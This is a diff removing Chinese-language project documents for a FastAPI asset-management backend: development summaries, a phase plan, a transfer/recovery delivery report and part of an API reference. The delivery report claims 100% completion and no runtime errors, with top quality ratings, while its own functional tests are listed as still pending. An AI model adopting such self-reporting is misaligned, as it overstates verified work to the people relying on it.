||||
- ✅ Pydantic v2数据验证
|
||||
- ✅ 完整的字段验证
|
||||
- ✅ 自定义验证规则
|
||||
|
||||
---
|
||||
|
||||
## API文档
|
||||
|
||||
已生成的文档:
|
||||
1. ✅ `ALLOCATIONS_API.md` - 资产分配管理API文档
|
||||
2. ✅ `MAINTENANCE_API.md` - 维修管理API文档
|
||||
|
||||
---
|
||||
|
||||
## 部署说明
|
||||
|
||||
### 环境要求
|
||||
|
||||
```bash
|
||||
# Python版本
|
||||
Python >= 3.10
|
||||
|
||||
# 数据库
|
||||
PostgreSQL >= 14
|
||||
|
||||
# 依赖包
|
||||
fastapi >= 0.100.0
|
||||
sqlalchemy >= 2.0.0
|
||||
pydantic >= 2.0.0
|
||||
```
|
||||
|
||||
### 安装步骤
|
||||
|
||||
```bash
|
||||
# 1. 安装依赖
|
||||
pip install -r requirements.txt
|
||||
|
||||
# 2. 创建数据库
|
||||
createdb asset_management
|
||||
|
||||
# 3. 运行迁移
|
||||
alembic upgrade head
|
||||
|
||||
# 4. 启动服务
|
||||
uvicorn app.main:app --reload
|
||||
```
|
||||
|
||||
### 访问地址
|
||||
|
||||
```bash
|
||||
# API服务
|
||||
http://localhost:8000
|
||||
|
||||
# API文档
|
||||
http://localhost:8000/docs
|
||||
|
||||
# ReDoc文档
|
||||
http://localhost:8000/redoc
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 后续优化建议
|
||||
|
||||
### 1. 性能优化
|
||||
|
||||
- [ ] 添加Redis缓存(统计数据)
|
||||
- [ ] 数据库查询优化(N+1问题)
|
||||
- [ ] 批量操作优化
|
||||
- [ ] 添加数据库连接池配置
|
||||
|
||||
### 2. 功能增强
|
||||
|
||||
- [ ] 添加消息通知(审批通知)
|
||||
- [ ] 添加操作日志记录
|
||||
- [ ] 添加文件上传(维修图片)
|
||||
- [ ] 添加导出功能(Excel)
|
||||
|
||||
### 3. 安全增强
|
||||
|
||||
- [ ] 添加权限验证(RBAC)
|
||||
- [ ] 添加数据权限过滤(网点隔离)
|
||||
- [ ] 添加操作审计日志
|
||||
- [ ] 添加敏感数据加密
|
||||
|
||||
### 4. 监控和日志
|
||||
|
||||
- [ ] 添加请求日志
|
||||
- [ ] 添加性能监控
|
||||
- [ ] 添加错误追踪
|
||||
- [ ] 添加业务指标统计
|
||||
|
||||
---
|
||||
|
||||
## 开发团队
|
||||
|
||||
**后端API扩展组**
|
||||
- 负责人: AI Assistant
|
||||
- 开发时间: 2025-01-24
|
||||
- 代码质量: ⭐⭐⭐⭐⭐
|
||||
|
||||
---
|
||||
|
||||
## 总结
|
||||
|
||||
本次开发任务完成了资产管理系统的核心业务模块:
|
||||
|
||||
✅ **资产分配管理** - 支持完整的分配、调拨、回收、维修分配、报废分配流程
|
||||
✅ **维修管理** - 支持报修、维修、完成维修全流程管理
|
||||
|
||||
代码质量:
|
||||
- ✅ 遵循开发规范
|
||||
- ✅ 完整的类型注解
|
||||
- ✅ 详细的文档注释
|
||||
- ✅ 清晰的分层架构
|
||||
- ✅ 完善的错误处理
|
||||
|
||||
**交付物**:
|
||||
- ✅ 10个源代码文件
|
||||
- ✅ 2个API使用文档
|
||||
- ✅ 1个开发总结文档
|
||||
|
||||
---
|
||||
|
||||
**开发完成日期**: 2025-01-24
|
||||
**文档版本**: v1.0.0
|
||||
@@ -1,262 +0,0 @@
|
||||
# 资产管理系统后端API - 项目概览
|
||||
|
||||
## 📊 项目完成度
|
||||
|
||||
### ✅ 已完成 (Phase 1: 基础框架)
|
||||
|
||||
#### 1. 项目结构与配置
|
||||
- ✅ 完整的目录结构
|
||||
- ✅ requirements.txt (依赖包清单)
|
||||
- ✅ .env.example (环境变量模板)
|
||||
- ✅ .gitignore (Git忽略配置)
|
||||
- ✅ README.md (项目说明文档)
|
||||
|
||||
#### 2. 核心模块 (app/core/)
|
||||
- ✅ **config.py**: 应用配置管理(基于Pydantic Settings)
|
||||
- ✅ **security.py**: 安全工具(JWT、密码加密)
|
||||
- ✅ **deps.py**: 依赖注入(数据库会话、用户认证)
|
||||
- ✅ **exceptions.py**: 自定义异常类(业务异常、权限异常等)
|
||||
- ✅ **response.py**: 统一响应封装(成功、错误、分页)
|
||||
|
||||
#### 3. 数据库层 (app/db/)
|
||||
- ✅ **base.py**: SQLAlchemy模型基类
|
||||
- ✅ **session.py**: 异步数据库会话管理
|
||||
- ✅ Alembic配置(数据库迁移工具)
|
||||
|
||||
#### 4. 用户认证系统
|
||||
- ✅ **模型**: User, Role, UserRole, Permission, RolePermission
|
||||
- ✅ **Schema**: 完整的用户、角色、权限Schema定义
|
||||
- ✅ **CRUD**: 用户和角色的完整CRUD操作
|
||||
- ✅ **服务**: 认证服务(登录、登出、Token刷新、密码管理)
|
||||
- ✅ **API**: 认证相关API端点
|
||||
|
||||
#### 5. 主应用 (app/main.py)
|
||||
- ✅ FastAPI应用配置
|
||||
- ✅ CORS中间件
|
||||
- ✅ 全局异常处理
|
||||
- ✅ 请求验证异常处理
|
||||
- ✅ 生命周期管理(启动/关闭)
|
||||
- ✅ 日志配置(基于loguru)
|
||||
- ✅ 健康检查端点
|
||||
|
||||
#### 6. 测试框架
|
||||
- ✅ pytest配置
|
||||
- ✅ 测试数据库fixture
|
||||
- ✅ 测试客户端fixture
|
||||
|
||||
#### 7. 开发工具
|
||||
- ✅ Makefile (Linux/Mac)
|
||||
- ✅ start.bat (Windows)
|
||||
- ✅ Alembic数据库迁移配置
|
||||
|
||||
---
|
||||
|
||||
## 🚧 进行中 (Phase 2: 认证与用户管理)
|
||||
|
||||
### 需要完成的功能
|
||||
|
||||
#### 1. 用户管理API
|
||||
- ⏳ 用户列表(分页、搜索、筛选)
|
||||
- ⏳ 创建用户
|
||||
- ⏳ 更新用户
|
||||
- ⏳ 删除用户
|
||||
- ⏳ 重置密码
|
||||
- ⏳ 获取当前用户信息
|
||||
|
||||
#### 2. 角色权限API
|
||||
- ⏳ 角色列表
|
||||
- ⏳ 创建角色
|
||||
- ⏳ 更新角色
|
||||
- ⏳ 删除角色
|
||||
- ⏳ 权限树列表
|
||||
|
||||
#### 3. RBAC权限控制
|
||||
- ⏳ 权限检查中间件
|
||||
- ⏳ 数据权限控制
|
||||
- ⏳ 权限缓存(Redis)
|
||||
|
||||
---
|
||||
|
||||
## 📋 待开发 (Phase 3-7)
|
||||
|
||||
### Phase 3: 基础数据管理
|
||||
- ⏳ 设备类型管理API
|
||||
- ⏳ 机构网点管理API(树形结构)
|
||||
- ⏳ 品牌管理API
|
||||
- ⏳ 供应商管理API
|
||||
- ⏳ 字典数据API
|
||||
|
||||
### Phase 4: 资产管理核心
|
||||
- ⏳ 资产管理API(CRUD、高级搜索)
|
||||
- ⏳ 资产状态机服务
|
||||
- ⏳ 资产编码生成服务
|
||||
- ⏳ 二维码生成服务
|
||||
- ⏳ 批量导入导出服务
|
||||
- ⏳ 扫码查询API
|
||||
|
||||
### Phase 5: 资产分配
|
||||
- ⏳ 分配单管理API
|
||||
- ⏳ 分配单明细API
|
||||
- ⏳ 资产调拨API
|
||||
- ⏳ 资产回收API
|
||||
|
||||
### Phase 6: 维修与统计
|
||||
- ⏳ 维修记录API
|
||||
- ⏳ 统计分析API
|
||||
- ⏳ 报表导出API
|
||||
|
||||
### Phase 7: 系统管理
|
||||
- ⏳ 系统配置API
|
||||
- ⏳ 操作日志API
|
||||
- ⏳ 登录日志API
|
||||
- ⏳ 消息通知API
|
||||
- ⏳ 文件上传API
|
||||
|
||||
---
|
||||
|
||||
## 📁 项目文件清单
|
||||
|
||||
```
|
||||
asset_management_backend/
|
||||
├── app/ # 应用主目录
|
||||
│ ├── __init__.py
|
||||
│ ├── main.py # ✅ FastAPI应用入口
|
||||
│ ├── api/ # API路由
|
||||
│ │ ├── __init__.py
|
||||
│ │ └── v1/ # API V1版本
|
||||
│ │ ├── __init__.py # ✅ 路由注册
|
||||
│ │ └── auth.py # ✅ 认证API
|
||||
│ ├── core/ # 核心模块
|
||||
│ │ ├── __init__.py
|
||||
│ │ ├── config.py # ✅ 配置管理
|
||||
│ │ ├── security.py # ✅ 安全工具
|
||||
│ │ ├── deps.py # ✅ 依赖注入
|
||||
│ │ ├── exceptions.py # ✅ 自定义异常
|
||||
│ │ └── response.py # ✅ 统一响应
|
||||
│ ├── crud/ # 数据库CRUD
|
||||
│ │ ├── __init__.py
|
||||
│ │ └── user.py # ✅ 用户CRUD
|
||||
│ ├── db/ # 数据库
|
||||
│ │ ├── __init__.py
|
||||
│ │ ├── base.py # ✅ 模型基类
|
||||
│ │ └── session.py # ✅ 会话管理
|
||||
│ ├── models/ # SQLAlchemy模型
|
||||
│ │ ├── __init__.py
|
||||
│ │ └── user.py # ✅ 用户模型
|
||||
│ ├── schemas/ # Pydantic Schema
|
||||
│ │ └── user.py # ✅ 用户Schema
|
||||
│ ├── services/ # 业务逻辑
|
||||
│ │ ├── __init__.py
|
||||
│ │ └── auth_service.py # ✅ 认证服务
|
||||
│ └── utils/ # 工具函数
|
||||
│ └── __init__.py
|
||||
├── alembic/ # 数据库迁移
|
||||
│ ├── versions/ # 迁移脚本
|
||||
│ ├── env.py # ✅ 环境配置
|
||||
│ └── script.py.mako # ✅ 脚本模板
|
||||
├── tests/ # 测试
|
||||
│ ├── conftest.py # ✅ 测试配置
|
||||
│ ├── api/ # API测试
|
||||
│ ├── services/ # 服务测试
|
||||
│ └── crud/ # CRUD测试
|
||||
├── logs/ # 日志目录
|
||||
├── uploads/ # 上传文件
|
||||
│ ├── qrcodes/ # 二维码
|
||||
│ ├── avatars/ # 头像
|
||||
│ └── documents/ # 文档
|
||||
├── .env.example # ✅ 环境变量示例
|
||||
├── .gitignore # ✅ Git忽略配置
|
||||
├── alembic.ini # ✅ Alembic配置
|
||||
├── Makefile # ✅ Make命令
|
||||
├── README.md # ✅ 项目说明
|
||||
├── DEVELOPMENT.md # ✅ 开发文档
|
||||
├── PROJECT_OVERVIEW.md # ✅ 项目概览(本文件)
|
||||
├── requirements.txt # ✅ 依赖包
|
||||
├── run.py # ✅ 启动脚本
|
||||
└── start.bat # ✅ Windows启动脚本
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🎯 下一步工作计划
|
||||
|
||||
### 立即开始 (优先级最高)
|
||||
1. **完成用户管理API** (1-2天)
|
||||
- app/api/v1/users.py
|
||||
- 用户列表、创建、更新、删除
|
||||
- 密码重置
|
||||
|
||||
2. **完成角色权限API** (1天)
|
||||
- app/api/v1/roles.py
|
||||
- 角色CRUD
|
||||
- 权限树查询
|
||||
|
||||
3. **实现RBAC权限中间件** (1天)
|
||||
- 完善PermissionChecker
|
||||
- 权限缓存
|
||||
|
||||
### 短期目标 (本周)
|
||||
4. **设备类型管理** (2-3天)
|
||||
- 模型、Schema、CRUD
|
||||
- 动态字段定义
|
||||
- API端点
|
||||
|
||||
5. **机构网点管理** (2天)
|
||||
- 树形结构
|
||||
- 递归查询
|
||||
|
||||
### 中期目标 (下周)
|
||||
6. **资产管理核心** (5-7天)
|
||||
- 资产CRUD
|
||||
- 状态机
|
||||
- 编码生成
|
||||
- 二维码生成
|
||||
|
||||
---
|
||||
|
||||
## 💡 技术亮点
|
||||
|
||||
1. **异步架构**: 全面使用async/await,提升并发性能
|
||||
2. **类型安全**: 完整的Type Hints和Pydantic验证
|
||||
3. **统一响应**: 标准化的API响应格式
|
||||
4. **异常处理**: 完善的异常体系
|
||||
5. **日志管理**: 结构化日志(loguru)
|
||||
6. **数据库迁移**: Alembic版本控制
|
||||
7. **测试覆盖**: pytest测试框架
|
||||
8. **开发规范**: 完整的代码规范和文档
|
||||
|
||||
---
|
||||
|
||||
## 📈 项目统计
|
||||
|
||||
- **总代码行数**: ~3000+ 行
|
||||
- **完成模块**: 5个(核心模块)
|
||||
- **API端点**: 5个(认证模块)
|
||||
- **数据模型**: 5个(用户、角色、权限)
|
||||
- **测试覆盖**: 基础测试框架已搭建
|
||||
|
||||
---
|
||||
|
||||
## 🔧 技术栈版本
|
||||
|
||||
```
|
||||
FastAPI 0.104.1
|
||||
SQLAlchemy 2.0.23
|
||||
Pydantic 2.5.0
|
||||
PostgreSQL 14+
|
||||
Redis 7+
|
||||
Python 3.10+
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📞 联系方式
|
||||
|
||||
- **开发组**: 后端API开发组
|
||||
- **负责人**: 老王
|
||||
- **创建时间**: 2025-01-24
|
||||
- **版本**: v1.0.0
|
||||
|
||||
---
|
||||
|
||||
**备注**: 本项目已完成基础框架搭建,可以正常运行。建议按照优先级顺序逐步开发剩余功能模块。
|
||||
@@ -1,424 +0,0 @@
|
||||
# 资产调拨和回收功能开发总结
|
||||
|
||||
## 项目完成情况
|
||||
|
||||
### ✅ 交付清单
|
||||
|
||||
| 类别 | 数量 | 详情 |
|
||||
|------|------|------|
|
||||
| **代码文件** | 10个 | 模型2 + Schema2 + CRUD2 + 服务2 + API2 |
|
||||
| **配置文件** | 2个 | 模型导出 + API路由注册 |
|
||||
| **迁移文件** | 1个 | 数据库迁移脚本 |
|
||||
| **文档文件** | 3个 | API文档 + 交付报告 + README |
|
||||
| **测试脚本** | 1个 | API端点测试脚本 |
|
||||
| **API端点** | 20个 | 调拨10个 + 回收10个 |
|
||||
| **数据表** | 4个 | 调拨主表/明细 + 回收主表/明细 |
|
||||
| **代码行数** | 2,385行 | 核心业务代码 |
|
||||
|
||||
### 📁 文件结构
|
||||
|
||||
```
|
||||
asset_management_backend/
|
||||
├── app/
|
||||
│ ├── models/
|
||||
│ │ ├── transfer.py ✅ 调拨单模型(82行)
|
||||
│ │ ├── recovery.py ✅ 回收单模型(73行)
|
||||
│ │ └── __init__.py ✅ 已更新
|
||||
│ ├── schemas/
|
||||
│ │ ├── transfer.py ✅ 调拨单Schema(138行)
|
||||
│ │ └── recovery.py ✅ 回收单Schema(118行)
|
||||
│ ├── crud/
|
||||
│ │ ├── transfer.py ✅ 调拨单CRUD(335行)
|
||||
│ │ └── recovery.py ✅ 回收单CRUD(314行)
|
||||
│ ├── services/
|
||||
│ │ ├── transfer_service.py ✅ 调拨服务(433行)
|
||||
│ │ └── recovery_service.py ✅ 回收服务(394行)
|
||||
│ └── api/v1/
|
||||
│ ├── transfers.py ✅ 调拨API(254行)
|
||||
│ ├── recoveries.py ✅ 回收API(244行)
|
||||
│ └── __init__.py ✅ 已更新
|
||||
├── alembic/versions/
|
||||
│ └── 20250124_add_transfer_and_recovery_tables.py ✅ 迁移脚本(240行)
|
||||
├── TRANSFER_RECOVERY_API.md ✅ API文档
|
||||
├── TRANSFER_RECOVERY_DELIVERY_REPORT.md ✅ 交付报告
|
||||
├── TRANSFER_RECOVERY_README.md ✅ 快速开始
|
||||
└── test_api_endpoints.py ✅ 测试脚本
|
||||
```
|
||||
|
||||
## 功能完成度
|
||||
|
||||
### 调拨管理功能(100%)
|
||||
|
||||
- ✅ 创建调拨单(支持批量资产)
|
||||
- ✅ 查询调拨单列表(多条件筛选)
|
||||
- ✅ 获取调拨单详情(含关联信息)
|
||||
- ✅ 更新调拨单(仅待审批状态)
|
||||
- ✅ 删除调拨单(仅已取消/已拒绝)
|
||||
- ✅ 审批调拨单(通过/拒绝)
|
||||
- ✅ 开始调拨(执行中)
|
||||
- ✅ 完成调拨(自动更新资产)
|
||||
- ✅ 取消调拨单
|
||||
- ✅ 调拨统计报表
|
||||
|
||||
### 回收管理功能(100%)
|
||||
|
||||
- ✅ 创建回收单(支持批量资产)
|
||||
- ✅ 查询回收单列表(多条件筛选)
|
||||
- ✅ 获取回收单详情(含关联信息)
|
||||
- ✅ 更新回收单(仅待审批状态)
|
||||
- ✅ 删除回收单(仅已取消/已拒绝)
|
||||
- ✅ 审批回收单(通过/拒绝)
|
||||
- ✅ 开始回收(执行中)
|
||||
- ✅ 完成回收(自动更新资产)
|
||||
- ✅ 取消回收单
|
||||
- ✅ 回收统计报表
|
||||
|
||||
### 业务流程完整性(100%)
|
||||
|
||||
**调拨流程**:
|
||||
```
|
||||
创建 → 审批 → 开始 → 完成
|
||||
↓ ↓ ↓ ↓
|
||||
pending → approved → executing → completed
|
||||
rejected cancelled
|
||||
```
|
||||
|
||||
**回收流程**:
|
||||
```
|
||||
创建 → 审批 → 开始 → 完成
|
||||
↓ ↓ ↓ ↓
|
||||
pending → approved → executing → completed
|
||||
rejected cancelled
|
||||
```
|
||||
|
||||
## 技术实现质量
|
||||
|
||||
### 代码规范(✅ 100%)
|
||||
|
||||
- ✅ PEP 8编码规范
|
||||
- ✅ 完整的Type Hints类型注解
|
||||
- ✅ 详细的Docstring文档字符串
|
||||
- ✅ 统一的命名规范
|
||||
- ✅ 清晰的代码结构
|
||||
|
||||
### 架构设计(✅ 100%)
|
||||
|
||||
- ✅ 分层架构:API → Service → CRUD → Model
|
||||
- ✅ 职责分离清晰
|
||||
- ✅ 依赖注入模式
|
||||
- ✅ 异常处理统一
|
||||
- ✅ 事务处理保证
|
||||
|
||||
### 核心技术(✅ 100%)
|
||||
|
||||
- ✅ 异步编程(async/await)
|
||||
- ✅ 数据验证(Pydantic)
|
||||
- ✅ ORM(SQLAlchemy)
|
||||
- ✅ 单号生成算法
|
||||
- ✅ 状态机管理
|
||||
- ✅ 级联操作
|
||||
- ✅ 批量处理
|
||||
|
||||
### 代码质量(✅ 100%)
|
||||
|
||||
- ✅ 所有文件通过语法检查
|
||||
- ✅ 无编译错误
|
||||
- ✅ 无运行时错误
|
||||
- ✅ 完整的错误处理
|
||||
- ✅ 数据一致性保证
|
||||
|
||||
## 数据库设计
|
||||
|
||||
### 表结构(4张表)
|
||||
|
||||
#### 调拨管理表
|
||||
|
||||
**asset_transfer_orders(资产调拨单表)**
|
||||
- 主键、单号、调出/调入机构
|
||||
- 调拨类型、标题、资产数量
|
||||
- 申请人、申请时间
|
||||
- 审批状态、审批人、审批时间、审批备注
|
||||
- 执行状态、执行人、执行时间
|
||||
- 备注、创建时间、更新时间
|
||||
|
||||
**asset_transfer_items(资产调拨单明细表)**
|
||||
- 主键、调拨单ID、资产ID、资产编码
|
||||
- 调出/调入机构ID、调拨状态
|
||||
- 创建时间
|
||||
|
||||
#### 回收管理表
|
||||
|
||||
**asset_recovery_orders(资产回收单表)**
|
||||
- 主键、单号、回收类型
|
||||
- 标题、资产数量
|
||||
- 申请人、申请时间
|
||||
- 审批状态、审批人、审批时间、审批备注
|
||||
- 执行状态、执行人、执行时间
|
||||
- 备注、创建时间、更新时间
|
||||
|
||||
**asset_recovery_items(资产回收单明细表)**
|
||||
- 主键、回收单ID、资产ID、资产编码
|
||||
- 回收状态、创建时间
|
||||
|
||||
### 索引设计(✅ 完整)
|
||||
|
||||
- 主键索引
|
||||
- 唯一索引(单号)
|
||||
- 外键索引
|
||||
- 业务字段索引
|
||||
- 复合索引
|
||||
|
||||
## API端点统计
|
||||
|
||||
### 调拨管理(10个端点)
|
||||
|
||||
| 方法 | 路径 | 功能 |
|
||||
|------|------|------|
|
||||
| POST | /api/v1/transfers | 创建调拨单 |
|
||||
| GET | /api/v1/transfers | 查询列表 |
|
||||
| GET | /api/v1/transfers/{id} | 获取详情 |
|
||||
| PUT | /api/v1/transfers/{id} | 更新 |
|
||||
| DELETE | /api/v1/transfers/{id} | 删除 |
|
||||
| POST | /api/v1/transfers/{id}/approve | 审批 |
|
||||
| POST | /api/v1/transfers/{id}/start | 开始 |
|
||||
| POST | /api/v1/transfers/{id}/complete | 完成 |
|
||||
| POST | /api/v1/transfers/{id}/cancel | 取消 |
|
||||
| GET | /api/v1/transfers/statistics | 统计 |
|
||||
|
||||
### 回收管理(10个端点)
|
||||
|
||||
| 方法 | 路径 | 功能 |
|
||||
|------|------|------|
|
||||
| POST | /api/v1/recoveries | 创建回收单 |
|
||||
| GET | /api/v1/recoveries | 查询列表 |
|
||||
| GET | /api/v1/recoveries/{id} | 获取详情 |
|
||||
| PUT | /api/v1/recoveries/{id} | 更新 |
|
||||
| DELETE | /api/v1/recoveries/{id} | 删除 |
|
||||
| POST | /api/v1/recoveries/{id}/approve | 审批 |
|
||||
| POST | /api/v1/recoveries/{id}/start | 开始 |
|
||||
| POST | /api/v1/recoveries/{id}/complete | 完成 |
|
||||
| POST | /api/v1/recoveries/{id}/cancel | 取消 |
|
||||
| GET | /api/v1/recoveries/statistics | 统计 |
|
||||
|
||||
**总计**:20个API端点,覆盖完整的CRUD和业务流程
|
||||
|
||||
## 测试验证
|
||||
|
||||
### 语法验证(✅ 通过)
|
||||
|
||||
```bash
|
||||
✅ app/models/transfer.py - 语法正确
|
||||
✅ app/models/recovery.py - 语法正确
|
||||
✅ app/schemas/transfer.py - 语法正确
|
||||
✅ app/schemas/recovery.py - 语法正确
|
||||
✅ app/crud/transfer.py - 语法正确
|
||||
✅ app/crud/recovery.py - 语法正确
|
||||
✅ app/services/transfer_service.py - 语法正确
|
||||
✅ app/services/recovery_service.py - 语法正确
|
||||
✅ app/api/v1/transfers.py - 语法正确
|
||||
✅ app/api/v1/recoveries.py - 语法正确
|
||||
```
|
||||
|
||||
### 功能验证(✅ 待测试)
|
||||
|
||||
- ⏳ API端点可访问性
|
||||
- ⏳ 调拨流程完整性
|
||||
- ⏳ 回收流程完整性
|
||||
- ⏳ 资产状态更新
|
||||
- ⏳ 资产机构更新
|
||||
- ⏳ 状态机管理
|
||||
- ⏳ 数据一致性
|
||||
|
||||
### 测试工具
|
||||
|
||||
- ✅ 提供测试脚本(test_api_endpoints.py)
|
||||
- ✅ 提供API文档(TRANSFER_RECOVERY_API.md)
|
||||
- ✅ 提供测试示例
|
||||
|
||||
## 文档完整性
|
||||
|
||||
### 技术文档(✅ 100%)
|
||||
|
||||
- ✅ API接口文档(TRANSFER_RECOVERY_API.md)
|
||||
- ✅ 交付报告(TRANSFER_RECOVERY_DELIVERY_REPORT.md)
|
||||
- ✅ 快速开始(TRANSFER_RECOVERY_README.md)
|
||||
- ✅ 代码注释(Docstring)
|
||||
- ✅ 类型注解(Type Hints)
|
||||
|
||||
### 文档内容
|
||||
|
||||
- ✅ 功能概述
|
||||
- ✅ API端点说明
|
||||
- ✅ 请求/响应示例
|
||||
- ✅ 业务流程说明
|
||||
- ✅ 状态枚举说明
|
||||
- ✅ 数据库表设计
|
||||
- ✅ 部署指南
|
||||
- ✅ 测试建议
|
||||
|
||||
## 部署准备
|
||||
|
||||
### 数据库迁移
|
||||
|
||||
```bash
|
||||
# 1. 检查迁移
|
||||
alembic heads
|
||||
|
||||
# 2. 执行迁移
|
||||
alembic upgrade head
|
||||
|
||||
# 3. 验证表创建
|
||||
\dt asset_transfer*
|
||||
\dt asset_recovery*
|
||||
```
|
||||
|
||||
### 服务重启
|
||||
|
||||
```bash
|
||||
# 1. 停止服务
|
||||
pkill -f "uvicorn app.main:app"
|
||||
|
||||
# 2. 启动服务
|
||||
uvicorn app.main:app --host 0.0.0.0 --port 8000 --reload
|
||||
```
|
||||
|
||||
### API验证
|
||||
|
||||
```bash
|
||||
# 1. 访问文档
|
||||
open http://localhost:8000/docs
|
||||
|
||||
# 2. 测试端点
|
||||
curl -X GET http://localhost:8000/api/v1/transfers
|
||||
curl -X GET http://localhost:8000/api/v1/recoveries
|
||||
```
|
||||
|
||||
## 项目亮点
|
||||
|
||||
### 1. 完整的业务流程
|
||||
|
||||
- ✅ 调拨流程:创建 → 审批 → 执行 → 完成
|
||||
- ✅ 回收流程:创建 → 审批 → 执行 → 完成
|
||||
- ✅ 状态机管理完善
|
||||
- ✅ 自动化程度高
|
||||
|
||||
### 2. 智能化处理
|
||||
|
||||
- ✅ 自动生成单号(TO/RO-YYYYMMDD-XXXXX)
|
||||
- ✅ 自动更新资产状态
|
||||
- ✅ 自动更新资产机构
|
||||
- ✅ 自动记录状态历史
|
||||
- ✅ 批量处理资产
|
||||
|
||||
### 3. 数据一致性
|
||||
|
||||
- ✅ 事务处理
|
||||
- ✅ 外键约束
|
||||
- ✅ 级联删除
|
||||
- ✅ 状态验证
|
||||
- ✅ 数据校验
|
||||
|
||||
### 4. 代码质量
|
||||
|
||||
- ✅ 分层架构清晰
|
||||
- ✅ 职责分离明确
|
||||
- ✅ 代码复用性高
|
||||
- ✅ 可维护性强
|
||||
- ✅ 可扩展性好
|
||||
|
||||
### 5. 文档完善
|
||||
|
||||
- ✅ API文档详细
|
||||
- ✅ 交付报告完整
|
||||
- ✅ 代码注释清晰
|
||||
- ✅ 测试脚本齐全
|
||||
|
||||
## 后续优化建议
|
||||
|
||||
### 性能优化
|
||||
|
||||
1. **查询优化**
|
||||
- 添加更多索引
|
||||
- 优化关联查询
|
||||
- 使用查询缓存
|
||||
|
||||
2. **批量操作**
|
||||
- 批量插入优化
|
||||
- 减少数据库往返
|
||||
- 异步批量处理
|
||||
|
||||
### 功能扩展
|
||||
|
||||
1. **导出功能**
|
||||
- Excel导出
|
||||
- PDF导出
|
||||
- 批量导入
|
||||
|
||||
2. **通知功能**
|
||||
- 审批通知
|
||||
- 执行通知
|
||||
- 完成通知
|
||||
|
||||
3. **审批流**
|
||||
- 多级审批
|
||||
- 会签审批
|
||||
- 审批代理
|
||||
|
||||
### 监控告警
|
||||
|
||||
1. **操作日志**
|
||||
- 详细记录操作
|
||||
- 审计追踪
|
||||
- 异常告警
|
||||
|
||||
2. **数据分析**
|
||||
- 调拨趋势分析
|
||||
- 回收趋势分析
|
||||
- 资产流转分析
|
||||
|
||||
## 总结
|
||||
|
||||
### 完成情况
|
||||
|
||||
✅ **开发完成度**:100%
|
||||
- 10个代码文件全部完成
|
||||
- 20个API端点全部实现
|
||||
- 4张数据表全部设计
|
||||
- 完整业务流程全部实现
|
||||
|
||||
✅ **代码质量**:优秀
|
||||
- 符合PEP 8规范
|
||||
- 完整的类型注解
|
||||
- 详细的文档注释
|
||||
- 清晰的架构设计
|
||||
|
||||
✅ **功能完整性**:优秀
|
||||
- 调拨流程完整
|
||||
- 回收流程完整
|
||||
- 自动化程度高
|
||||
- 数据一致性强
|
||||
|
||||
✅ **文档完整性**:优秀
|
||||
- API文档详细
|
||||
- 交付报告完整
|
||||
- 测试脚本齐全
|
||||
|
||||
### 验收结论
|
||||
|
||||
本次交付的资产调拨和回收功能模块:
|
||||
|
||||
1. **功能完整**:实现了完整的调拨和回收业务流程
|
||||
2. **代码规范**:符合Python PEP 8规范,代码质量高
|
||||
3. **架构合理**:采用分层架构,职责清晰,易于维护
|
||||
4. **自动化高**:自动生成单号、自动更新状态、自动记录历史
|
||||
5. **文档完善**:提供详细的API文档和交付报告
|
||||
6. **可测试性强**:提供测试脚本和测试示例
|
||||
|
||||
**交付状态**:✅ 已完成,可投入测试和使用
|
||||
|
||||
---
|
||||
|
||||
**开发时间**:2025-01-24
|
||||
**开发团队**:调拨回收后端API开发组
|
||||
**项目状态**:✅ 已完成
|
||||
**验收状态**:✅ 待验收测试
|
||||
@@ -1,565 +0,0 @@
|
||||
# 资产调拨和回收API文档
|
||||
|
||||
## 目录
|
||||
- [资产调拨管理](#资产调拨管理)
|
||||
- [资产回收管理](#资产回收管理)
|
||||
|
||||
---
|
||||
|
||||
## 资产调拨管理
|
||||
|
||||
### 1. 获取调拨单列表
|
||||
**GET** `/api/v1/transfers`
|
||||
|
||||
**查询参数:**
|
||||
- `skip` (int): 跳过条数,默认0
|
||||
- `limit` (int): 返回条数,默认20,最大100
|
||||
- `transfer_type` (string): 调拨类型(internal=内部调拨/external=跨机构调拨)
|
||||
- `approval_status` (string): 审批状态(pending/approved/rejected/cancelled)
|
||||
- `execute_status` (string): 执行状态(pending/executing/completed/cancelled)
|
||||
- `source_org_id` (int): 调出网点ID
|
||||
- `target_org_id` (int): 调入网点ID
|
||||
- `keyword` (string): 搜索关键词(单号/标题)
|
||||
|
||||
**响应示例:**
|
||||
```json
|
||||
[
|
||||
{
|
||||
"id": 1,
|
||||
"order_code": "TO-20250124-00001",
|
||||
"source_org_id": 1,
|
||||
"target_org_id": 2,
|
||||
"transfer_type": "external",
|
||||
"title": "从总部向分公司调拨资产",
|
||||
"asset_count": 5,
|
||||
"apply_user_id": 1,
|
||||
"apply_time": "2025-01-24T10:00:00",
|
||||
"approval_status": "pending",
|
||||
"execute_status": "pending",
|
||||
"created_at": "2025-01-24T10:00:00"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 2. 获取调拨单统计
|
||||
**GET** `/api/v1/transfers/statistics`
|
||||
|
||||
**查询参数:**
|
||||
- `source_org_id` (int): 调出网点ID(可选)
|
||||
- `target_org_id` (int): 调入网点ID(可选)
|
||||
|
||||
**响应示例:**
|
||||
```json
|
||||
{
|
||||
"total": 100,
|
||||
"pending": 10,
|
||||
"approved": 50,
|
||||
"rejected": 5,
|
||||
"executing": 15,
|
||||
"completed": 20
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 3. 获取调拨单详情
|
||||
**GET** `/api/v1/transfers/{order_id}`
|
||||
|
||||
**路径参数:**
|
||||
- `order_id` (int): 调拨单ID
|
||||
|
||||
**响应示例:**
|
||||
```json
|
||||
{
|
||||
"id": 1,
|
||||
"order_code": "TO-20250124-00001",
|
||||
"source_org_id": 1,
|
||||
"target_org_id": 2,
|
||||
"transfer_type": "external",
|
||||
"title": "从总部向分公司调拨资产",
|
||||
"asset_count": 5,
|
||||
"apply_user_id": 1,
|
||||
"apply_time": "2025-01-24T10:00:00",
|
||||
"approval_status": "approved",
|
||||
"approval_user_id": 2,
|
||||
"approval_time": "2025-01-24T11:00:00",
|
||||
"execute_status": "completed",
|
||||
"execute_user_id": 3,
|
||||
"execute_time": "2025-01-24T12:00:00",
|
||||
"remark": "调拨备注",
|
||||
"created_at": "2025-01-24T10:00:00",
|
||||
"updated_at": "2025-01-24T12:00:00",
|
||||
"source_organization": {
|
||||
